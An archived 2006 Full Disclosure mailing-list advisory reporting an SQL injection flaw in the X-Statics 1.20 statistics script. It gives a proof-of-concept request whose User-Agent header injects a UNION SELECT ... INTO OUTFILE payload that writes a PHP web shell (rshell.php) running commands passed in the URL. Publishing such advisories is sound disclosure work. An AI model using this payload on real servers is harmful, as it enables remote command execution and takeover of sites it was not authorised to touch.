Full Disclosure mailing list archives
X-Statics 1.20 SQL Injection Vulnerability
From: SirDarckCat <sirdarckcat () gmail com>
Date: Sat, 29 Jul 2006 23:47:49 -0500
Discovered by Sirdarckcat from elhacker.net X-Statics 1.20 http://members.lycos.co.uk/xscripts03/ ============================================== X-Statics is a simple script for making statics of a web site. There is an SQL injection vulnerability ============================================== POC: GET /x-statistics.php HTTP/1.1 Host: www.myhost.com User-Agent: sOmeStuF' UNION SELECT '%3C%3Fsystem%28%24_GET%5B%22c%22%5D%29%3B%3F%3E' INTO OUTFILE '/usr/webserver/public_html/rshell.php ============================================== Att. Sirdarckcat elhacker.net -- Att. SirDarckCat () GMail com http://www.google.com/search?q=sirdarckcat
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- X-Statics 1.20 SQL Injection Vulnerability SirDarckCat (Jul 29)